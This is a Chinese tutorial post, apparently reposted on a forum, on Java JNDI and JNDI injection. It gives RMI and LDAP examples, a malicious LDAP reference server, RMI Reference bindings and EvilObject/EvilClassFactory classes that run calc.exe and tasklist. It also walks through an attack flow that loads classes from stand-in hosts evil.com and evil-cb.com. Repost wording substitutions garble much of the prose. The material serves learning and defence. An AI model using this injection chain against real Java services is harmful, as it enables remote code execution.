0x01前言
了解jndi时,我们要思考明白:
1) 什么是jndi 2)jndi代码示例 3)jndi 注入方式 4)高版本绕过
0x01 什么是jndi
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用步调接口,为开发人员查找和访问各种资源提供了同一的通用接口,
它允许 Java 应用步调通过名称发现和检索数据和资源,而不需要直接引用它们的位置。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用 (RMI)、通用对象请求代理体系结构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象大概存储在RMI、LDAP、CORBA等等。
JNDI 的主要功能
1. 绑定对象
- JNDI 可以将 Java 对象绑定到命名/目录服务中的名称。
2. 查找和查询
- 应用步调可以利用 JNDI 根据对象名称或属性来查找或查询对象。这样就可以在运行时动态检索资源或服务。
3.通过SPI实现扩展
- JNDI 通过服务提供步调接口 (SPI) 支持各种目录服务。这些 SPI 使 JNDI 可以大概与不同的命名和目录系统集成。
了解命名和目录服务
Java Naming:命名服务是一种键值对的绑定,使应用步调可以通过键检索值。
伪代码如下:
- Context ctx = new InitialContext (env);
- MyObject obj = (MyObject) ctx.lookup( "myObject" );
复制代码 Java Directory:对象可以有属性,在目录服务中可以根据属性(而不仅仅是名称)存储和搜刮目录对象。
- DirContext ctx = new InitialDirContext (env);
- NamingEnumeration<?> namingEnum = ctx.search( "ou=people" , "(cn=Sickurity Wizard)" );
复制代码 ObjectFactory:(重点关注)
Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,例如Java中的对象或Java中的基本数据类型。每一个Service Provider大概配有多个Object Factory。JNDI注入的题目就是处在可远程下载自定义的ObjectFactory类上。
0x02 jndi 的包以及代码阐明
JNDI 主要是上述四种服务,对应四个包加一个主包
JNDI 接口主要分为下述 5 个包:
- javax.naming
- javax.naming.directory
- javax.naming.event
- javax.naming.ldap
- javax.naming.spi
复制代码 其中最重要的是 javax.naming 包,包罗了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 JNDI 接口,用户可以透明地调用远程打印服务。
Jndi 在对不同服务举行调用的时间,会去调用 xxxContext 这个类,比如调用 RMI 服务的时间就是调的 RegistryContext,这一点是很重要的,记着了这一点对于 JNDI 这里的弊端明白非常有益。一般的应用也就是先 new InitialContext(),再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例。
JNDI的代码示例
在JNDI中提供了绑定和查找的方法:
- bind:将名称绑定到对象中;
- lookup:通过名字检索执行的对象;
1. Jndi 结合 RMI
下面是基本用法Demo,以RMI服务为例。新建一个项目,把服务端和客户端分开,代码如下:
服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中
- import javax.naming.InitialContext;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
-
- public class JNDIRMIServer {
- public static void main(String[] args) throws Exception{
- InitialContext initialContext = new InitialContext(); //InitialContext 对象用于与JNDI命名服务交互。它可以在JNDI命名空间中查找或绑定对象
- Registry registry = LocateRegistry.createRegistry(1099); //创建RMI注册表,在本地创建一个RMI注册表并监听端口1099。RMI注册表是RMI运行时系统的一部分,它允许服务器注册远程对象,客户端通过查找注册表获取远程对象的引用。
- initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); //initialContext.rebind(...):将一个远程对象绑定到JNDI服务的命名空间中。具体来说,它将RemoteObjImpl对象绑定到rmi://localhost:1099/remoteObj这个地址。
- new RemoteObjImpl()://是一个假设的实现类,它应该实现了一个远程接口,提供了可以通过RMI调用的方法。
- }
- }
复制代码 客户端,其通过JNDI的lookup方法来检索对象并输出出来
- import javax.naming.InitialContext;
-
- public class JNDIRMIClient {
- public static void main(String[] args) throws Exception{
- InitialContext initialContext = new InitialContext();
- RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
- System.out.println(remoteObj.sayHello("hello"));
- }
- }
复制代码
弦外音
简单比较一下RMI原生写法和利用JNDI检索的写法,在RMI原生写法中的两种典型写法:
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import remote.IRemoteMath;
- ...
-
- //服务端
- IRemoteMath remoteMath = new RemoteMath();
- LocateRegistry.createRegistry(1099);
- Registry registry = LocateRegistry.getRegistry();
- registry.bind("Compute", remoteMath);
- ...
-
- //客户端
- Registry registry = LocateRegistry.getRegistry("localhost");
- IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
- //or
- import java.rmi.Naming;
- import java.rmi.registry.LocateRegistry;
- ...
- //服务端
- PersonService personService=new PersonServiceImpl();
- LocateRegistry.createRegistry(6600);
- Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
- ...
- //客户端
- PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");
复制代码 JNDI中相关代码:
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import java.rmi.registry.LocateRegistry;
- ...
-
- //服务端
- LocateRegistry.createRegistry(6666);
- System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
- InitialContext ctx = new InitialContext();
- ...
- ctx.bind("person", p);
- ctx.close();
- ...
- //客户端
- InitialContext ctx = new InitialContext();
- Person person = (Person) ctx.lookup("person");
- ctx.close();
- 或
- //服务端
- Properties env = new Properties();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL,
- "rmi://localhost:1099");
- Context ctx = new InitialContext(env);
复制代码 相比之下:
- 服务端:原生RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文环境如指定为RMI服务,末了再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
- 客户端:原生RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;
简单地说,原生RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用Java Naming来实现的。
2. Jndi 结合 ldap
LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜刮。目录服务作为一种特殊的数据库,用来生存描述性的、基于属性的具体信息。和传统数据库相比,最大的不同在于目录服务中数据的构造方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,而且没有变乱处置处罚、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 的请求和相应是 ASN.1 格式,利用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些通例的增删改查操作,同时也包罗一些拓展的操作类型和异步通知变乱。
ldap 的 JNDI 弊端
先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk 的依赖
- <dependency>
- <groupId>com.unboundid</groupId>
- <artifactId>unboundid-ldapsdk</artifactId>
- <version>3.2.0</version>
- <scope>test</scope>
- </dependency>
复制代码 对应的 server 的代码
- import com.unboundid.ldap.listener.InMemoryDirectoryServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
- import com.unboundid.ldap.listener.InMemoryListenerConfig;
- import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
- import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
- import com.unboundid.ldap.sdk.Entry;
- import com.unboundid.ldap.sdk.LDAPException;
- import com.unboundid.ldap.sdk.LDAPResult;
- import com.unboundid.ldap.sdk.ResultCode;
- import javax.net.ServerSocketFactory;
- import javax.net.SocketFactory;
- import javax.net.ssl.SSLSocketFactory;
- import java.net.InetAddress;
- import java.net.MalformedURLException;
- import java.net.URL;
-
- public class LdapServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
- public static void main (String[] args) {
- String url = "http://127.0.0.1:8000/#EvilObject";
- int port = 1234;
- try {
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen",
- InetAddress.getByName("0.0.0.0"),
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
-
- config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + port);
- ds.startListening();
- }
- catch ( Exception e ) {
- e.printStackTrace();
- }
- }
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
- private URL codebase;
- /**
- * */ public OperationInterceptor ( URL cb ) {
- this.codebase = cb;
- }
- /**
- * {@inheritDoc}
- * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
- */ @Override
- public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base);
- try {
- sendResult(result, base, e);
- }
- catch ( Exception e1 ) {
- e1.printStackTrace();
- }
- }
- protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
- URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
- System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
- e.addAttribute("javaClassName", "Exploit");
- String cbstring = this.codebase.toString();
- int refPos = cbstring.indexOf('#');
- if ( refPos > 0 ) {
- cbstring = cbstring.substring(0, refPos);
- }
- e.addAttribute("javaCodeBase", cbstring);
- e.addAttribute("objectClass", "javaNamingReference");
- e.addAttribute("javaFactory", this.codebase.getRef());
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
-
- }
- }
复制代码 客户端这里和上面是差不多的,只是把服务替换成了 ldap
JNDILdapClient.java
- import javax.naming.InitialContext;
-
- public class JNDILdapClient {
- public static void main(String[] args) throws Exception{
- InitialContext initialContext = new InitialContext();
- RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj");
- System.out.println(remoteObj.sayHello("hello"));
- }
- }
复制代码 先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端。
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,以是适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
以是,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来举行JNDI注入的利用。
因此,这种利用方式的前提条件就是目的环境的JDK版本在JDK8u191、7u201、6u211以下
Reference类
Reference类表示对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在利用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
几个比较关键的属性:
- className:远程加载时所利用的类名;
- classFactory:加载的class中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议
0x02 JNDI注入
前提条件&JDK防御
要想成功利用JNDI注入弊端,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
这里将全部不同版本JDK的防御都列出来:
- JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。利用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
- JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议利用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该弊端,但依然可以通过指定URI为LDAP协议来举行JNDI注入攻击。
- JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议利用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
因此,我们在举行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们举行JNDI注入的前提条件。
RMI攻击向量
RMI+Reference利用技巧
JNDI提供了一个Reference类来表示某个对象的引用,这个类中包罗被引用对象的类信息和地址。
Reference类表示对存在于命名/目录系统以外的对象的引用,这个上面提到过。
由于在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化欠好用的时间,我们可以利用Reference将对象存储在JNDI系统中。
那么这个JNDI利用技巧是啥呢?
就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会利用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,终极实现JNDI注入攻击导致远程代码执行
注:简单说就是两个地方可控 1、lookup()函数参数外部可控 2、classFactoryLocation参数外部可控。
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议 上文也提到过忘记可以回看。
具体步调:
- 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj;
- 原先配置好的上下文环境 rmi://localhost:1099 会由于动态环境转换而被指向 rmi://evil.com:1099/;
- 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
- 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜刮 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;
- 攻击者事先准备好的服务返回编译好的包罗恶意代码的 EvilObject.class;
- 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包罗在内里的恶意代码被执行;
eg:
JNDIClient.java,lookup()函数参数外部可控:
- ublic class JNDIClient {
- public static void main(String[] args) throws Exception {
- if(args.length < 1) {
- System.out.println("Usage: java JNDIClient <uri>");
- System.exit(-1);
- }
- String uri = args[0];
- Context ctx = new InitialContext();
- System.out.println("Using lookup() to fetch object with " + uri);
- ctx.lookup(uri);
- }
- }
复制代码 RMIService.java,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继续于 UnicastRemoteObject 类并实现了Remote接口:
- public class RMIService {
- public static void main(String args[]) throws Exception {
- Registry registry = LocateRegistry.createRegistry(1099);
- Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
- registry.bind("refObj", refObjWrapper);
- }
- }
- /*evil 远程地址:http://127.0.0.1:8080/,指定了该类的字节码将从这个 URL 加载。
- refObjWrapper(包含 EvilObject 的引用)即将被绑定到RMI注册表,地址是 rmi://127.0.0.1:1099/refObj */
复制代码 简单介绍一下referencewrapper类:
ReferenceWrapper 类是 Java Naming and Directory Interface (JNDI) 中的一个类,它是 javax.naming.spi.ReferenceWrapper 的一部分。ReferenceWrapper 用于封装一个 Reference 对象,使得该对象可以通过远程调用机制(如 RMI)举行序列化和传输。
主要功能
ReferenceWrapper 类的主要作用是将一个 Reference 对象包装起来,以便它可以在 RMI 注册表中举行绑定,并被远程客户端访问息争析。由于 Reference 对象自己是不可序列化的,ReferenceWrapper 通过实现 Remote 接口,使得该对象可以被远步调列化和传递。
利用场景
在 JNDI 中,Reference 对象通常用于指向某个远程对象或服务的引用。当对象自己不支持远程访问时,可以利用 ReferenceWrapper 将 Reference 对象封装并通过 RMI 注册表发布。
远程客户端可以通过查找 RMI 注册表,获取 ReferenceWrapper 对象,并通过 JNDI 机制将其解析为现实对象。
上述代码中,Reference 是一个引用对象,它包罗了目的类的名称 (EvilObject) 和该类的字节码的加载位置(http://127.0.0.1:8080/)。
ReferenceWrapper 将 refObj 封装起来,使得它可以通过 RMI 注册表发布并被远程调用。
这里的registry 和 刚刚提到的 reference+referencewrapper 在利用场景上有哪些不同? (早先困扰了我好一会不明白,究竟还是web小蔡坤一枚)
Registry(注册表)
- 功能:Registry 是用于管理和查找远程对象的RMI注册表。它负责将实现了 Remote 接口的对象绑定到注册表,并允许客户端通过名称查找远程对象。
- 利用场景:在服务器端,开发者利用 Registry 将远程对象绑定到某个名称;客户端可以通过这个名称查找远程对象并调用它的方法。
- 操尴尬刁难象:Registry 直接处置处罚的是远程对象(即实现了 Remote 接口的对象)。
代码在jndi+rmi处提及
Reference(引用)
- 功能:Reference 是JNDI中的一个类,表示某个远程对象的引用。它包罗远程对象的类名、工厂类名,以及远程对象的字节码加载位置(通常是一个URL)。
- 利用场景:Reference 用于描述远程对象的引用信息,现实的对象并不在本地。客户端通过解析 Reference 对象,可以动态地从远程加载现实的类或对象。
- 操尴尬刁难象:Reference 包罗的是远程对象的引用信息,而不是远程对象自己。它通常用于动态查找和加载远程资源。
- 工作机制:Reference 提供了远程对象的引用信息。通过 Reference,可以指定从远程服务器加载某个类的字节码(例如从URL加载类定义),而不是将整个对象传输给客户端。
ReferenceWrapper
- 功能:ReferenceWrapper 是JNDI中的一个类,用来封装一个 Reference 对象,使它可以大概通过RMI注册表发布。ReferenceWrapper 实现了 Remote 接口,使得 Reference 对象可以通过RMI远程调用传输。
- 利用场景:ReferenceWrapper 用于在RMI注册表中发布不可序列化的 Reference 对象,使客户端可以大概通过远程调用获取该引用并进一步解析。
- 操尴尬刁难象:ReferenceWrapper 封装的是一个 Reference 对象,而不是直接的远程对象。
- 工作机制:ReferenceWrapper 将 Reference 对象封装起来,使得它可以被远程客户端通过RMI注册表访问。客户端查找到 ReferenceWrapper 后,可以通过 Reference 的信息来定位并加载现实的类。
区别:
利用场景的对比:
- Registry:直接用于RMI系统中,将 Remote 对象发布到注册表,供远程客户端调用。
- ReferenceWrapper 和 Reference:用于JNDI系统中,尤其是在需要通过RMI注册表传输和发布不可序列化的引用时。通过 ReferenceWrapper,Reference 对象可以通过RMI机制举行传输,允许远程客户端加载并解析远程对象的引用。
示例场景:
- Registry:用于典型的RMI远程对象绑定与查找。
- ReferenceWrapper & Reference:用于需要动态加载远程类或对象的场景,通过RMI传递引用信息,而不是传递整个对象。
EvilObject.java,目的是弹盘算器:
- public class EvilObject {
- public EvilObject() throws Exception {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"cmd", "/C", "calc.exe"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- }
- }
复制代码
LDAP攻击向量
通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个接口而已,下面就只列下LDAP+Reference的利用技巧,至于JNDI注入弊端点和前面是一样的就不再赘述了
除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本同等,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,以是适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
以是,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来举行JNDI注入的利用。
因此,这种利用方式的前提条件就是目的环境的JDK版本在JDK8u191、7u201、6u211以下。下面的示例代码中我本地的JDk版本是1.8.0_73。(搬运一下大佬的表明)
LdapServer.java,LDAP服务,需要导入unboundid-ldapsdk.jar包:
- public class LdapServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
- public static void main (String[] args) {
- String url = "http://127.0.0.1:8000/#EvilObject";
- int port = 1234;
- try {
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen",
- InetAddress.getByName("0.0.0.0"),
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
- config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + port);
- ds.startListening();
- }
- catch ( Exception e ) {
- e.printStackTrace();
- }
- }
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
- private URL codebase;
- /**
- *
- */
- public OperationInterceptor ( URL cb ) {
- this.codebase = cb;
- }
- /**
- * {@inheritDoc}
- *
- * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
- */
- @Override
- public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base);
- try {
- sendResult(result, base, e);
- }
- catch ( Exception e1 ) {
- e1.printStackTrace();
- }
- }
- protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
- URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
- System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
- e.addAttribute("javaClassName", "Exploit");
- String cbstring = this.codebase.toString();
- int refPos = cbstring.indexOf('#');
- if ( refPos > 0 ) {
- cbstring = cbstring.substring(0, refPos);
- }
- e.addAttribute("javaCodeBase", cbstring);
- e.addAttribute("objectClass", "javaNamingReference");
- e.addAttribute("javaFactory", this.codebase.getRef());
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
- }
- }
复制代码 LdapClient.java,LDAP客户端:
- public class LdapClient {
- public static void main(String[] args) throws Exception{
- try {
- Context ctx = new InitialContext();
- ctx.lookup("ldap://localhost:1234/EvilObject");
- String data = "This is LDAP Client.";
- //System.out.println(serv.service(data));
- }
- catch (NamingException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- }
- }
复制代码 EvilObject.java,恶意类,执行弹出盘算器:
- public class EvilObject {
- public EvilObject() throws Exception {
- Runtime.getRuntime().exec("calc.exe");
- }
- }
复制代码
弊端点2——classFactoryLocation参数注入
前面lookup()参数注入是基于RMI客户端的,也是最常见的。而本末节的classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端步调在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。
BClient.java,RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:
- public class BClient {
- public static void main(String[] args) throws Exception {
- Properties env = new Properties();
- env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
- Context ctx = new InitialContext(env);
- System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");//绑定到rmi的1099端口
- ctx.lookup("demo");
- }
- }
复制代码 BServer.java,RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:
- public class BServer {
- public static void main(String args[]) throws Exception {
- String uri = "";
- if(args.length == 1) {
- uri = args[0];
- } else {
- uri = "http://127.0.0.1/demo.class";
- }
- System.out.println("[*]classFactoryLocation: " + uri);
- Registry registry = LocateRegistry.createRegistry(1099);
- Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- System.out.println("[*]Binding 'demo' to 'rmi://192.168.43.201:1099/demo'");
- registry.bind("demo", refObjWrapper);
- }
- }
复制代码 EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行tasklist命令并输出出来:
- public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
- public EvilClassFactory() throws RemoteException {
- super();
- InputStream inputStream;
- try {
- inputStream = Runtime.getRuntime().exec("tasklist").getInputStream();
- BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
- BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
- String linestr;
- while ((linestr = bufferedReader.readLine()) != null){
- System.out.println(linestr);
- }
- } catch (IOException e){
- e.printStackTrace();
- }
- }
- @Override
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
- return null;
- }
- }
复制代码 攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中年绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:
弊端点2——结合反序列化弊端
后续学习后会举行增补。。。。。
高版本JDK高版本注入绕过
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
利用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议利用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该弊端,但依然可以通过指定URI为LDAP协议来举行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议利用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
高版本绕过:
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
参考大神文章如下:
浅析JNDI注入 [ Mi1k7ea ]
Java反序列化之JNDI学习 | Drunkbaby's Blog (drun1baby.top)
https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1
https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |